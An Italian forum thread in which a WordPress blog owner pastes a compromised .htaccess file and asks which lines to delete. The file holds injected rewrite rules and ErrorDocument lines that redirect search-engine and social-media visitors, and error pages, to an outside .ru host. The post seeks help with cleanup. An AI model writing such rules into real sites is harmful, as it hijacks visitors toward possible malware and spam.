Originalmente inviato da
darkwolf
Per editare l'htaccess sull'alterblog basta usare un plugin che lo permetta (esempio: un file browser o cose così) ...
Io, ad esempio, uso
http://yoast.com/wordpress/seo/ che, tra le tante cose, permette di editare l'htaccess :)
ok ne ho messo uno a 5 stelle (ma mostra la pubblicità). ora posso editare htaccess: cosa devo eliminare??
Questo è il contenuto:
Codice:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|ex cite|altavista|msn|netscape|aol|hotbot|goto|infose ek|mamma|alltheweb|lycos|search|metacrawler|bing|d ogpile|facebook|twitter|blog|live|myspace|mail|yan dex|rambler|ya|aport|linkedin|flickr|nigma|liveint ernet|vkontakte|webalta|filesearch|yell|openstat|m etabot|nol9|zoneru|km|gigablast|entireweb|amfibi|d moz|yippy|search|walhello|webcrawler|jayde|findwha t|teoma|euroseek|wisenut|about|thunderstone|ixquic k|terra|lookle|metaeureka|searchspot|slider|topsev en|allthesites|libero|clickey|galaxy|brainysearch| pocketflier|verygoodsearch|bellnet|freenet|firebal l|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar| suchnase|schnellsuche|sharelook|sucharchiv|suchbie ne|suchmaschine|web-archiv)\.(.*)
RewriteRule ^(.*)$ http://headergradient.ru/gamma/index.php [R=301,L]
RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orang e|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|te lfort|hispavista|passagen|spray|eniro|telia|bluewi n|sympatico|nlsearch|atsearch|klammeraffe|shareloo k|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|d affodil|click4choice|exalead|findelio|gasta|gimpsy |globalsearchdirectory|hotfrog|jobrapido|kingdomse ek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan |qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|ex press|bestireland|browseireland|finditireland|iese arch|ireland-information|kompass|startsiden|confex|finnalle|gul esider|keyweb|finnfirma|kvasir|savio|sol|startside n|allpages|america|botw|chapu|claymont|clickz|clus h|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)
RewriteRule ^(.*)$ http://headergradient.ru/gamma/index.php [R=301,L]
</IfModule>
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
# /* modifica */
RewriteBase /
# /* fine */
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
# /* modifica */
RewriteRule . /index.php [L]
# /* fine */
</IfModule>
# END WordPress
# /* modifica */
# # av:php5-engine
AddHandler av-php5 .php
# /* fine */
# # av:Words
SetEnv AV_WORDS 0
# # av:Toolbar
SetEnv AV_TOOLBAR 1
# # av:Banner
SetEnv AV_BANNER 0
ErrorDocument 400 http://headergradient.ru/gamma/index.php
ErrorDocument 401 http://headergradient.ru/gamma/index.php
ErrorDocument 403 http://headergradient.ru/gamma/index.php
ErrorDocument 404 http://headergradient.ru/gamma/index.php
ErrorDocument 500 http://headergradient.ru/gamma/index.php